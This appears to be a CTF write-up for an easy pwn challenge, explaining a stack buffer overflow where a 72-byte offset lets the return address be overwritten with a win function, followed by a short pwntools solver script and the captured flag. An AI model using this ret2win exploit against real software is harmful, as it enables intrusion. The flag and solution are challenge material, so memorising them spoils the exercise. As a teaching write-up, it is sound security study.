archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Pwn

Securinets ENIT Friendly CTF 2026 / Pwn WRITEUP

Return Policy

Jujutsu High guarantees every trainee returns safely. The guarantee was written by the same people who approved this program.

EVENTSecurinets ENIT Friendly CTF 2026CATEGORYPwnDIFFICULTYeasyPOINTS250
stack-overflowret2win

Walkthrough

Solution

orientation reads 256 bytes into a 64-byte stack buffer. The saved return address is 72 bytes from the start of that buffer, and the binary exposes a win function that opens and prints the flag.

Pad to offset 72 and replace the saved return address with win. No arguments or second stage are needed.

Reference solver

The reference solver supplied with the writeup:

from pwn import *

context.binary = elf = ELF("./main", checksec=False)
p = remote(args.HOST or "localhost", int(args.PORT or 1354))
p.sendlineafter(b"Graduation statement: ", flat({72: elf.sym.win}))
print(p.recvall().decode())

Flag

SecurinetsENIT{th3_r3turn_p0l1cy_w4s_0pt10n4l}
Published 2026-10-15 · by r3t0x← Back to archive · Pwn
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS